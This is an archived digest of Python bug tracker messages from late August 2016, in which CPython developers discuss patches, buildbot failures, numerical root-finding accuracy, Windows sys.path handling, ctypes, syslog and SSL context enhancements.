<20160827024238.68019.15146.15A1C38D@psf.io> Roundup Robot added the comment: New changeset 216f5451c35a by Martin Panter in branch 'default': Issue #12319: Always send file request bodies using chunked encoding https://hg.python.org/cpython/rev/216f5451c35a ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 26 22:47:15 2016 From: report at bugs.python.org (Martin Panter) Date: Sat, 27 Aug 2016 02:47:15 +0000 Subject: [issue27425] Tests fail because of git's newline preferences on Windows In-Reply-To: <1467306989.4.0.803551571995.issue27425@psf.upfronthosting.co.za> Message-ID: <1472266035.75.0.941055800692.issue27425@psf.upfronthosting.co.za> Martin Panter added the comment: Emanuel: fix_newlines_2.patch seems to change the contents of batch from CRLF to LF newlines, undoing revision 640ccb924b5f. This seems like a step in the wrong direction. Notice $ means LF, and ^M$ means CRLF: $ curl https://bugs.python.org/file44225/fix_newlines_2.patch | cat -A . . . diff --git a/Tools/unicode/genwincodecs.bat b/Tools/unicode/genwincodecs.bat$ . . . -c:\python30\python genwincodec.py 720 > build/cp720.py^M$ . . . +c:\python30\python genwincodec.py 720 > build/cp720.py$ However, the test_sax change may be sensible. test_random_warning_1.patch looks okay. ---------- versions: +Python 3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 26 22:49:27 2016 From: report at bugs.python.org (Tim Peters) Date: Sat, 27 Aug 2016 02:49:27 +0000 Subject: [issue27761] Private _nth_root function loses accuracy In-Reply-To: <1471141583.56.0.32662922065.issue27761@psf.upfronthosting.co.za> Message-ID: <1472266167.01.0.942315045629.issue27761@psf.upfronthosting.co.za> Tim Peters added the comment: I don't care about correct rounding here, but it is, e.g., a bit embarrassing that >>> 64**(1/3) 3.9999999999999996 Which you may or may not see on your box, depending on your platform pow(), but which you "should" see: 1/3 is not a third, it's a binary approximation that's a little less than 1/3, so 64 to that power should be less than 4. There are two practical problems with `nroot`, both already noted: (1) Its very cheap initial guess comes at the cost of requiring multiple iterations to get a guess good to 54 bits. That can be repaired, and already showed how. (2) The larger `n`, the more bits it requires. As Mark noted, at n=50000 we're doing multi-million bit arithmetic. That's inherent - and slow. My simple fractions.Fraction function suffers the second problem too, but is even slower for large n. But if you give up on guaranteed correct rounding, this is really quite easy: as I noted before, a single Newton iteration approximately doubles the number of "good bits", so _any_ way of getting the effect of extra precision in a single iteration will deliver a result good enough for all practical purposes. Note that an error bound of strictly less than 1 ulp is good enough to guarantee that the exact result is delivered whenever the exact result is representable. Here's one way, exploiting that the decimal module has adjustable precision: import decimal def rootn(x, n): c = decimal.getcontext() oldprec = c.prec try: c.prec = 40 g = decimal.Decimal(x**(1.0/n)) g = ((n-1)*g + decimal.Decimal(x)/g**(n-1)) / n return float(g) finally: c.prec = oldprec Now memory use remains trivial regardless of n. I haven't yet found a case where the result differs from the correctly-rounded `nroot()`, but didn't try very hard. And, e.g., even at the relatively modest n=5000, it's over 500 times faster than `nroot` (as modified to use a scaled x**(1/n) as an excellent starting guess, so that it too always gets out after its first Newton step). At n=50000, it's over 15000 times faster. For n less than about 70, though, `nroot` is faster. It's plenty fast for me regardless. Note: just in case there's confusion about this, `rootn(64.0, 3)` returns exactly 4.0 _not_ necessarily because it's "more accurate" than pow() on this box, but because it sees the exact 3 instead of the approximation to 1/3 pow() sees. That approximation is perfectly usable to get a starting guess (64**(1/3)) good to nearly 53 bits. The real improvement comes from the Newton step using _exactly_ 3. That said, I have seen rare cases where this (and `nroot`) give a better result than the platform pow() even for n=2 (where 1/n _is_ exactly representable). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 26 23:16:57 2016 From: report at bugs.python.org (Martin Panter) Date: Sat, 27 Aug 2016 03:16:57 +0000 Subject: [issue26027] Support Path objects in the posix module In-Reply-To: <1452114329.99.0.617690911804.issue26027@psf.upfronthosting.co.za> Message-ID: <1472267817.0.0.23202294257.issue26027@psf.upfronthosting.co.za> Martin Panter added the comment: One more thing, ;) the Windows buildbots are failing to removing a temporary file: http://buildbot.python.org/all/builders/AMD64%20Windows7%20SP1%203.x/builds/8173/steps/test/logs/stdio ====================================================================== ERROR: test_path_t_converter (test.test_os.PathTConverterTests) ---------------------------------------------------------------------- Traceback (most recent call last): File "C:\buildbot.python.org\3.x.kloth-win64\build\lib\test\support\__init__.py", line 365, in unlink _unlink(filename) File "C:\buildbot.python.org\3.x.kloth-win64\build\lib\test\support\__init__.py", line 336, in _unlink _waitfor(os.unlink, filename) File "C:\buildbot.python.org\3.x.kloth-win64\build\lib\test\support\__init__.py", line 304, in _waitfor func(pathname) PermissionError: [WinError 32] The process cannot access the file because it is being used by another process: '@test_5716_tmp' Subsequently, other tests fail, probably because this file already exists. ---------- status: closed -> open _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 26 23:33:38 2016 From: report at bugs.python.org (Eryk Sun) Date: Sat, 27 Aug 2016 03:33:38 +0000 Subject: [issue27803] ctypes automatic byref failing on custom classes attributes In-Reply-To: <1471630297.02.0.563258836934.issue27803@psf.upfronthosting.co.za> Message-ID: <1472268818.51.0.135561695523.issue27803@psf.upfronthosting.co.za> Eryk Sun added the comment: Terry, the provided example is incomplete and doesn't make sense as it stands. For better or worse, windll.dllname attempts to load WinDLL(dllname) and cache the resulting library on the windll loader. (The library in turn caches function pointers, which means this design is a problem waiting to happen, which has happened a few times with various projects conflicting with each other over windll.kernel32 function prototypes. I recommend using WinDLL instead.) I gather that Erwan wants ctypes.byref() and the implicit _byref that's called by PyCPointerType_from_param to be enhanced to support objects that define _as_parameter_. So I'm changing the issue type accordingly. ---------- nosy: +eryksun type: behavior -> enhancement _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 27 00:10:54 2016 From: report at bugs.python.org (Roundup Robot) Date: Sat, 27 Aug 2016 04:10:54 +0000 Subject: [issue25825] AIX shared library extension modules installation broken In-Reply-To: <1449602974.51.0.754649695687.issue25825@psf.upfronthosting.co.za> Message-ID: <20160827041052.67868.9159.013C7C2D@psf.io> Roundup Robot added the comment: New changeset ca1ddd365f5f by Martin Panter in branch '3.5': Issue #25825: Fix references to $(LIBPL) installation path on AIX https://hg.python.org/cpython/rev/ca1ddd365f5f New changeset 5a05c0eeefc3 by Martin Panter in branch 'default': Issue #25825: Merge $(LIBPL) fix from 3.5 https://hg.python.org/cpython/rev/5a05c0eeefc3 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 27 00:10:55 2016 From: report at bugs.python.org (Roundup Robot) Date: Sat, 27 Aug 2016 04:10:55 +0000 Subject: [issue19884] Importing readline produces erroneous output In-Reply-To: <1386158776.45.0.265770743985.issue19884@psf.upfronthosting.co.za> Message-ID: <20160827041052.67868.98707.15F05286@psf.io> Roundup Robot added the comment: New changeset 55ec5fdc3099 by Martin Panter in branch '2.7': Issue #19884: Avoid spurious output on OS X with Gnu Readline https://hg.python.org/cpython/rev/55ec5fdc3099 New changeset 782d9b5d2e90 by Martin Panter in branch '3.5': Issue #19884: Avoid spurious output on OS X with Gnu Readline https://hg.python.org/cpython/rev/782d9b5d2e90 New changeset 72e034afeb55 by Martin Panter in branch 'default': Issue #19884: Merge Readline updates from 3.5 https://hg.python.org/cpython/rev/72e034afeb55 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 27 00:12:55 2016 From: report at bugs.python.org (Martin Panter) Date: Sat, 27 Aug 2016 04:12:55 +0000 Subject: [issue12319] [http.client] HTTPConnection.request not support "chunked" Transfer-Encoding to send data In-Reply-To: <1307875633.83.0.874379254828.issue12319@psf.upfronthosting.co.za> Message-ID: <1472271175.17.0.489007631546.issue12319@psf.upfronthosting.co.za> Martin Panter added the comment: I committed my patch, so now file bodies are chunk-encoded by default. The Windows buildbots pass the relevant tests again. This does mean that old code that uploaded a file to a HTTP-1.0-only server, and relied on Python automatically setting Content-Length, will no longer work in 3.6. Let me know if you think this is a serious problem, and maybe we can find another solution. ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 27 00:28:10 2016 From: report at bugs.python.org (Martin Panter) Date: Sat, 27 Aug 2016 04:28:10 +0000 Subject: [issue26439] ctypes.util.find_library fails when ldconfig/glibc not available (e.g., AIX) In-Reply-To: <1456413023.18.0.874865601403.issue26439@psf.upfronthosting.co.za> Message-ID: <1472272090.06.0.318602479178.issue26439@psf.upfronthosting.co.za> Changes by Martin Panter : Added file: https://bugs.python.org/file44237/Python3.6.ctypes.160823.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 27 01:03:25 2016 From: report at bugs.python.org (Serhiy Storchaka) Date: Sat, 27 Aug 2016 05:03:25 +0000 Subject: [issue27761] Private _nth_root function loses accuracy In-Reply-To: <1471141583.56.0.32662922065.issue27761@psf.upfronthosting.co.za> Message-ID: <1472274205.89.0.0686809997068.issue27761@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: What if use pow() with exactly represented degree in approximating step? def rootn(x, n): g = x**(1.0/n) m = 1 << (n-1).bit_length() if n != m: g = (x*g**(m-n))**(1.0/m) return g Maybe it needs several iterations, because it converges slower than Newton approximation. But every step can be faster. ---------- nosy: +serhiy.storchaka _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 27 01:44:20 2016 From: report at bugs.python.org (Tim Peters) Date: Sat, 27 Aug 2016 05:44:20 +0000 Subject: [issue27761] Private _nth_root function loses accuracy In-Reply-To: <1471141583.56.0.32662922065.issue27761@psf.upfronthosting.co.za> Message-ID: <1472276660.86.0.23332743856.issue27761@psf.upfronthosting.co.za> Tim Peters added the comment: Serhiy, I don't know what you're thinking there, and the code doesn't make much sense to me. For example, consider n=2. Then m == n, so you accept the initial `g = x**(1.0/n)` guess. But, as I said, there are cases where that doesn't give the best result, while the other algorithms do. For example, on this box: >>> serhiy(7.073208563506701e+46, 2) 2.6595504438733062e+23 >>> pow(7.073208563506701e+46, 0.5) # exactly the same as your code 2.6595504438733062e+23 >>> nroot(7.073208563506701e+46, 2) # best possible result 2.6595504438733066e+23 >>> import math >>> math.sqrt(7.073208563506701e+46) # also achieved by sqrt() 2.6595504438733066e+23 On general principle, you can't expect to do better than plain pow() unless you do _something_ that gets the effect of using more than 53 mantissa bits - unless the platform pow() is truly horrible. Using pow() multiple times is useless; doing Newton steps _in_ native float (C double) precision is useless; even some form of "binary search" is useless because just computing g**n (in native precision) suffers rounding errors worse than pow() suffered to begin with. So long as you stick to native precision, you're fighting rounding errors at least as bad as the initial rounding errors you're trying to correct. There's no a priori reason to even hope iterating will converge. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 27 02:42:44 2016 From: report at bugs.python.org (Eryk Sun) Date: Sat, 27 Aug 2016 06:42:44 +0000 Subject: [issue27827] pathlib is_reserved fails for some reserved paths on Windows In-Reply-To: <1471858428.08.0.847859442583.issue27827@psf.upfronthosting.co.za> Message-ID: <1472280164.44.0.504131892829.issue27827@psf.upfronthosting.co.za> Eryk Sun added the comment: Also, "CONIN$" and "CONOUT$" need to be added to the list of reserved names. Prior to Windows 8 these two names are reserved only for the current directory, which for the most part also applies to "CON". For Windows 8+, the redesign to use a real console device means that these three console devices are handled in exactly the same way as the other reserved DOS device names. For example: Windows 10 >>> print(os.path.abspath('C:/Temp/conout$ : spam . eggs')) \\.\conout$ Windows 7 >>> print(os.path.abspath('C:/Temp/conout$ : spam . eggs')) C:\Temp\conout$ : spam . eggs ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 27 03:11:17 2016 From: report at bugs.python.org (Martin Panter) Date: Sat, 27 Aug 2016 07:11:17 +0000 Subject: [issue26439] ctypes.util.find_library fails when ldconfig/glibc not available (e.g., AIX) In-Reply-To: <1456413023.18.0.874865601403.issue26439@psf.upfronthosting.co.za> Message-ID: <1472281877.65.0.784853080252.issue26439@psf.upfronthosting.co.za> Martin Panter added the comment: The documentation is in RST format in the Doc/ directory. For basic stuff, you can just copy the syntax from existing text, or see e.g. for more hints. For this change, I think we need to mention in Doc/library/ctypes.rst: * the special AIX changes for find_library(); include ?.. versionchanged::? (or maybe versionadded? I?m not sure) notice * the change for the CDLL constructor, also with versionchanged Perhaps also add an entry to Doc/whatsnew/3.6.rst. Patch 160823 does not addressed many of my previous comments. Please have a closer look. I can make simple changes to simplify the code myself, but I don?t really know what to do about the questionable regular expressions, for instance. Also, see . What was wrong with the cases supported by your original patches? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 27 03:16:24 2016 From: report at bugs.python.org (Joseph Shen) Date: Sat, 27 Aug 2016 07:16:24 +0000 Subject: [issue27874] inconsistent sys.path behavior when using PythonXX.zip Message-ID: <1472282184.54.0.596998789435.issue27874@psf.upfronthosting.co.za> New submission from Joseph Shen: Found a inconsistent sys.path result when python packed with it's library with zip package. A. when NOT use zip package sys.path is base the python.exe's absolute path, result is 1. ABS_PATH\pythonXX.zip 2. ABS_PATH\DLLs 3. ABS_PATH\lib, 4. ABS_PATH 5. ABS_PATH\lib\site-packages B. when use zip package sys.path is base the relative path of call path, result is 1. ABS_PATH\pythonXX.zip 2. RLT_PATH\DLLs 3. RLT_PATH\lib, 4. ABS_PATH this is not commonly expected for the `DLLs` and `lib`, I think the result will still be absolute path for where the executable located. I snapshot two pictures for this problem, please review this, thanks. ---------- components: Windows files: 2016-08-27_15-09-39.png messages: 273763 nosy: Joseph.Shen, paul.moore, steve.dower, tim.golden, zach.ware priority: normal severity: normal status: open title: inconsistent sys.path behavior when using PythonXX.zip type: behavior versions: Python 3.5 Added file: https://bugs.python.org/file44238/2016-08-27_15-09-39.png _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 27 03:16:55 2016 From: report at bugs.python.org (Martin Panter) Date: Sat, 27 Aug 2016 07:16:55 +0000 Subject: [issue19884] Importing readline produces erroneous output In-Reply-To: <1386158776.45.0.265770743985.issue19884@psf.upfronthosting.co.za> Message-ID: <1472282215.86.0.841110850855.issue19884@psf.upfronthosting.co.za> Martin Panter added the comment: I committed my patch in full, so hopefully the Gnu Readline situation on OS X is also improved. Original fixes went into 3.4, but my patch only went into 3.5+. ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed versions: +Python 3.4 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 27 03:17:26 2016 From: report at bugs.python.org (Joseph Shen) Date: Sat, 27 Aug 2016 07:17:26 +0000 Subject: [issue27874] inconsistent sys.path behavior when using PythonXX.zip In-Reply-To: <1472282184.54.0.596998789435.issue27874@psf.upfronthosting.co.za> Message-ID: <1472282246.96.0.87467833904.issue27874@psf.upfronthosting.co.za> Joseph Shen added the comment: second snapshot ---------- Added file: https://bugs.python.org/file44239/2016-08-27_15-09-45.png _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 27 03:20:19 2016 From: report at bugs.python.org (Martin Panter) Date: Sat, 27 Aug 2016 07:20:19 +0000 Subject: [issue25825] AIX shared library extension modules installation broken In-Reply-To: <1449602974.51.0.754649695687.issue25825@psf.upfronthosting.co.za> Message-ID: <1472282419.12.0.665292140478.issue25825@psf.upfronthosting.co.za> Martin Panter added the comment: Okay, the second patch is committed to 3.5+. Is everything working now (on 2.7, 3.5, 3.6), or is there more to do? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 27 04:56:21 2016 From: report at bugs.python.org (Jeff Allen) Date: Sat, 27 Aug 2016 08:56:21 +0000 Subject: [issue26040] Improve coverage and rigour of test.test_math In-Reply-To: <1452181282.79.0.203850145541.issue26040@psf.upfronthosting.co.za> Message-ID: <1472288181.65.0.741602056188.issue26040@psf.upfronthosting.co.za> Jeff Allen added the comment: Mark: Thanks for validating the additional cases so carefully. If you still want to apply it in stages then I suppose the change to the comparison logic could go first (untested idea), although that's also where I could most easily have made a mistake. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 27 05:09:54 2016 From: report at bugs.python.org (Roundup Robot) Date: Sat, 27 Aug 2016 09:09:54 +0000 Subject: [issue27506] make bytes/bytearray translate's delete a keyword argument In-Reply-To: <1468403337.28.0.33019551319.issue27506@psf.upfronthosting.co.za> Message-ID: <20160827090951.45636.13105.A19F1650@psf.io> Roundup Robot added the comment: New changeset 6ab1b54245d5 by Martin Panter in branch 'default': Issue #27506: Support bytes/bytearray.translate() delete as keyword argument https://hg.python.org/cpython/rev/6ab1b54245d5 ---------- nosy: +python-dev _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 27 05:38:05 2016 From: report at bugs.python.org (Eryk Sun) Date: Sat, 27 Aug 2016 09:38:05 +0000 Subject: [issue27874] inconsistent sys.path behavior when using PythonXX.zip In-Reply-To: <1472282184.54.0.596998789435.issue27874@psf.upfronthosting.co.za> Message-ID: <1472290685.78.0.3828784295.issue27874@psf.upfronthosting.co.za> Eryk Sun added the comment: Windows Python determines sys.prefix (i.e. the location of the standard library, \lib) via either the PYTHONHOME environment variable or by searching for the landmark "lib/os.py", starting in the application directory and reducing back to the root directory [1]. If it can't find the prefix directory; PYTHONPATH isn't defined; and it can't find PythonPath in the registry; then it adds the "DLLs" and "lib" directories relative to the working directory. This default PYTHONPATH is defined in PC/pyconfig.h as ".\\DLLs;.\\lib". There is an alternative "applocal" (application local) mode. Create a file named pyvenv.cfg beside python.exe that contains the single line applocal = true This prevents Python from checking PYTHONHOME and PYTHONPATH, the registry, and prevents searching for the "lib/os.py" landmark. sys.prefix is set as the application directory, and the default "DLLs" and "lib" paths are expanded relative to the application directory. Anyway, since what you're reporting is the expected behavior, I'm closing this issue. Feel free to reopen it if you feel I've misdiagnosed the problem or think the default behavior is somehow broken. I don't know what Steve Dower's plans are, if indeed he has any, to change the legacy sys.path behavior in future releases. [1]: The reduce() function in PC/getpathp.c has a minor bug that results in sys.prefix set as the drive-relative path "C:" if the landmark search continues to the root and "C:/lib/os.py" exists. This is due to the way it overwrites the path separator with NUL to reduce the path. I think it should keep the separator. The join() function works either way. ---------- nosy: +eryksun resolution: -> not a bug stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 27 05:48:31 2016 From: report at bugs.python.org (Fabian Pietsch) Date: Sat, 27 Aug 2016 09:48:31 +0000 Subject: [issue27875] Syslogs /usr/sbin/foo as /foo instead of as foo Message-ID: <1472291311.49.0.485322574022.issue27875@psf.upfronthosting.co.za> New submission from Fabian Pietsch: When calling syslog.syslog() without calling syslog.openlog() before, openlog() gets called with no arguments. Documentation says: "The optional ident keyword argument is a string which is prepended to every message, and defaults to sys.argv[0] with leading path components stripped." -- "35.13. syslog ? Unix syslog library routines" It leaves the final slash in, though. This produces syslog output for /usr/sbin/foo with identifier "/foo" instead of "foo". When reading syslog unprepared, one can easily think that to be a bug in the specific python script at hand (which it's not), or a chroot to be involved (which it's not, usually). So I consider this a bug. On freenode/#python I was referred to https://github.com/python/cpython/blob/master/Modules/syslogmodule.c#L98 for the code that does this. This issue is forwarded from a minor bug report reported by me at Debian: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=835577 A test script is attached, which, when called with absolute path, produces this in syslog: Aug 27 08:53:27 blackbox /test-syslog.py: Test from python! The slash is misleading/wrong. ---------- files: test-syslog.py messages: 273770 nosy: canvon priority: normal severity: normal status: open title: Syslogs /usr/sbin/foo as /foo instead of as foo type: behavior Added file: https://bugs.python.org/file44240/test-syslog.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 27 05:51:51 2016 From: report at bugs.python.org (Martin Panter) Date: Sat, 27 Aug 2016 09:51:51 +0000 Subject: [issue27506] make bytes/bytearray translate's delete a keyword argument In-Reply-To: <1468403337.28.0.33019551319.issue27506@psf.upfronthosting.co.za> Message-ID: <1472291511.65.0.863681448361.issue27506@psf.upfronthosting.co.za> Changes by Martin Panter : ---------- resolution: -> fixed stage: commit review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 27 06:04:30 2016 From: report at bugs.python.org (Serhiy Storchaka) Date: Sat, 27 Aug 2016 10:04:30 +0000 Subject: [issue27861] sqlite3 type confusion and multiple frees In-Reply-To: <1472139411.37.0.427895086159.issue27861@psf.upfronthosting.co.za> Message-ID: <1472292270.86.0.88115430035.issue27861@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: Agreed, there are two unrelated bugs. It would be better to discuss separate patches in separate issues. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 27 06:30:35 2016 From: report at bugs.python.org (Christian Heimes) Date: Sat, 27 Aug 2016 10:30:35 +0000 Subject: [issue27876] Add SSLContext.set_version_range(minver, maxver=None) Message-ID: <1472293835.86.0.296775745483.issue27876@psf.upfronthosting.co.za> New submission from Christian Heimes: OpenSSL 1.1 has deprecated all version specific TLS/SSL methods in favor of auto-negotiation (formerly known as SSLv23). It also introduced two macros to set the minimal and maximum TLS version with SSL_CTX_set_min_proto_version() and SSL_CTX_set_max_proto_version(). The macros can be emulated for OpenSSL < 1.1 with reasonable effort. I suggest that ssl.SSLContext introduces set_version_range(minver, maxver=None) method. It's less awkward to use than fiddling with modes and OP_NO_SSLv3. ---------- components: Extension Modules messages: 273772 nosy: alex, christian.heimes, dstufft, giampaolo.rodola, janssen priority: normal severity: normal status: open title: Add SSLContext.set_version_range(minver, maxver=None) type: enhancement versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 27 06:42:52 2016 From: report at bugs.python.org (Joseph Shen) Date: Sat, 27 Aug 2016 10:42:52 +0000 Subject: [issue27874] inconsistent sys.path behavior when using PythonXX.zip In-Reply-To: <1472290685.78.0.3828784295.issue27874@psf.upfronthosting.co.za> Message-ID: Joseph Shen added the comment: Yea, thanks for review, I knew the pyven. But the behavior right now is really what I think unnecessary complicated and confusing. What I think, we all knew the DLLs is used for python keep the *.pyd (actually just dll), so by default, why we want this directory relative to the working directory? indeed the configure file can fix this, but is this process really what we needed? we need check the PYTHONHOME , read the registy, check if the configure file exist, just for make python find the libraries? I knew python has a long history for keep the library path environment variable work right, and not even mention pyenv and some other tools, but this just make things more complicated. So, as a conclusion, I think we should make the sys.path consistent with or without using zip packed library, especially for the DLLs if we think about some backward compatibility.fix this is just a small step for making python application launch faster and packing simpler. Thanks, I think this problem still arguable. On Sat, Aug 27, 2016 at 17:38 Eryk Sun wrote: > > Eryk Sun added the comment: > > Windows Python determines sys.prefix (i.e. the location of the standard > library, \lib) via either the PYTHONHOME environment variable or by > searching for the landmark "lib/os.py", starting in the application > directory and reducing back to the root directory [1]. > > If it can't find the prefix directory; PYTHONPATH isn't defined; and it > can't find PythonPath in the registry; then it adds the "DLLs" and "lib" > directories relative to the working directory. This default PYTHONPATH is > defined in PC/pyconfig.h as ".\\DLLs;.\\lib". > > There is an alternative "applocal" (application local) mode. Create a file > named pyvenv.cfg beside python.exe that contains the single line > > applocal = true > > This prevents Python from checking PYTHONHOME and PYTHONPATH, the > registry, and prevents searching for the "lib/os.py" landmark. sys.prefix > is set as the application directory, and the default "DLLs" and "lib" paths > are expanded relative to the application directory. > > Anyway, since what you're reporting is the expected behavior, I'm closing > this issue. Feel free to reopen it if you feel I've misdiagnosed the > problem or think the default behavior is somehow broken. I don't know what > Steve Dower's plans are, if indeed he has any, to change the legacy > sys.path behavior in future releases. > > > [1]: The reduce() function in PC/getpathp.c has a minor bug that > results in sys.prefix set as the drive-relative path "C:" if > the landmark search continues to the root and "C:/lib/os.py" > exists. This is due to the way it overwrites the path separator > with NUL to reduce the path. I think it should keep the > separator. The join() function works either way. > > ---------- > nosy: +eryksun > resolution: -> not a bug > stage: -> resolved > status: open -> closed > > _______________________________________ > Python tracker > > _______________________________________ > ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 27 06:42:55 2016 From: report at bugs.python.org (Serhiy Storchaka) Date: Sat, 27 Aug 2016 10:42:55 +0000 Subject: [issue27863] multiple issues in _elementtree module In-Reply-To: <1472141830.55.0.358852521473.issue27863@psf.upfronthosting.co.za> Message-ID: <1472294575.76.0.901237567303.issue27863@psf.upfronthosting.co.za> Changes by Serhiy Storchaka : ---------- dependencies: +various issues due to misuse of PySlice_GetIndicesEx _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 27 06:48:15 2016 From: report at bugs.python.org (Joseph Shen) Date: Sat, 27 Aug 2016 10:48:15 +0000 Subject: [issue27874] inconsistent sys.path behavior when using PythonXX.zip In-Reply-To: <1472282184.54.0.596998789435.issue27874@psf.upfronthosting.co.za> Message-ID: <1472294895.32.0.123971400311.issue27874@psf.upfronthosting.co.za> Joseph Shen added the comment: I don't know how to reopen this issue, please make some comments for what I added just now, thanks. ---------- status: closed -> open _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 27 06:49:21 2016 From: report at bugs.python.org (Serhiy Storchaka) Date: Sat, 27 Aug 2016 10:49:21 +0000 Subject: [issue27867] various issues due to misuse of PySlice_GetIndicesEx In-Reply-To: <1472226685.15.0.242668202848.issue27867@psf.upfronthosting.co.za> Message-ID: <1472294961.58.0.634665848997.issue27867@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: Even list suffers from this bug if slicing step is not 1. class X: def __index__(self): del a[:] return 1 a = [0] a[:X():2] ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 27 07:17:23 2016 From: report at bugs.python.org (Serhiy Storchaka) Date: Sat, 27 Aug 2016 11:17:23 +0000 Subject: [issue27858] Add identity function to functools In-Reply-To: <1472125335.99.0.627029201806.issue27858@psf.upfronthosting.co.za> Message-ID: <1472296643.83.0.557005115422.issue27858@psf.upfronthosting.co.za> Changes by Serhiy Storchaka : ---------- resolution: rejected -> duplicate stage: -> resolved superseder: -> add identity function _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 27 08:23:50 2016 From: report at bugs.python.org (Antti Haapala) Date: Sat, 27 Aug 2016 12:23:50 +0000 Subject: [issue27078] Make f'' strings faster than .format: BUILD_STRING opcode? In-Reply-To: <1463858316.54.0.292581402272.issue27078@psf.upfronthosting.co.za> Message-ID: <1472300630.89.0.0751962413064.issue27078@psf.upfronthosting.co.za> Antti Haapala added the comment: So does this (new opcode) count as a new feature? It would be great to give f'' strings a flying start, saying that not only they're cool, they're also faster than anything that you've used before. Here some more mini-benchmarks with serhiy's patch2 applied, the times are pretty stable: % python3.6 -mtimeit -s 'x = 42' '"%s-" % x' 10000000 loops, best of 3: 0.184 usec per loop % python3.6 -mtimeit -s 'x = 42' 'f"{x}-"' 10000000 loops, best of 3: 0.142 usec per loop and % python3.6 -mtimeit -s 'x = "42"' 'f"{x}{x}"' 10000000 loops, best of 3: 0.0709 usec per loop % python3.6 -mtimeit -s 'x = "42"' '"%s%s" % (x,x)' 1000000 loops, best of 3: 0.213 usec per loop python3.6 -mtimeit -s 'x = "42"' '"".join((x, x))' 10000000 loops, best of 3: 0.155 usec per loop This is only really achievable with some kind of bytecode support. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 27 08:58:34 2016 From: report at bugs.python.org (Steve Dower) Date: Sat, 27 Aug 2016 12:58:34 +0000 Subject: [issue27874] inconsistent sys.path behavior when using PythonXX.zip In-Reply-To: <1472282184.54.0.596998789435.issue27874@psf.upfronthosting.co.za> Message-ID: <1472302714.85.0.692294238375.issue27874@psf.upfronthosting.co.za> Steve Dower added the comment: I don't entirely agree with the analysis or suggestions here, but I do intend to change this for 3.6 so I'll assign myself. At the very least, we won't fall back on totally relative paths - we'll make them absolute from the program directory. ---------- assignee: -> steve.dower resolution: not a bug -> stage: resolved -> needs patch versions: +Python 3.6 -Python 3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 27 09:04:54 2016 From: report at bugs.python.org (Demur Rumed) Date: Sat, 27 Aug 2016 13:04:54 +0000 Subject: [issue27078] Make f'' strings faster than .format: BUILD_STRING opcode? In-Reply-To: <1463858316.54.0.292581402272.issue27078@psf.upfronthosting.co.za> Message-ID: <1472303094.64.0.360813765734.issue27078@psf.upfronthosting.co.za> Demur Rumed added the comment: I don't think lack of precedence is a reason to say new opcodes are new features. More that generally new opcodes are created for new features ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 27 09:09:47 2016 From: report at bugs.python.org (Joseph Shen) Date: Sat, 27 Aug 2016 13:09:47 +0000 Subject: [issue27874] inconsistent sys.path behavior when using PythonXX.zip In-Reply-To: <1472302714.85.0.692294238375.issue27874@psf.upfronthosting.co.za> Message-ID: Joseph Shen added the comment: thanks for the comment and make python work on Windows better :) I will trace the 3.6 source code. On Sat, Aug 27, 2016 at 8:58 PM Steve Dower wrote: > > Steve Dower added the comment: > > I don't entirely agree with the analysis or suggestions here, but I do > intend to change this for 3.6 so I'll assign myself. At the very least, we > won't fall back on totally relative paths - we'll make them absolute from > the program directory. > > ---------- > assignee: -> steve.dower > resolution: not a bug -> > stage: resolved -> needs patch > versions: +Python 3.6 -Python 3.5 > > _______________________________________ > Python tracker > > _______________________________________ > ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 27 09:42:09 2016 From: report at bugs.python.org (John Hagen) Date: Sat, 27 Aug 2016 13:42:09 +0000 Subject: [issue27877] Add recipe for "valueless" Enums to docs Message-ID: <1472305329.28.0.714722611618.issue27877@psf.upfronthosting.co.za> New submission from John Hagen: Many programming languages allow the developer to define a enum without specifying values when there would be no significance to those values. Adding some kind of support in the stdlib itself was rejected due to the high degree of magic that would be needed: https://bugs.python.org/issue26988 I propose that a simple example be added to the enum docs that show a developer how to use a normal Python Enum to create this most common and basic enum (without values). import enum class Color(enum.Enum): red 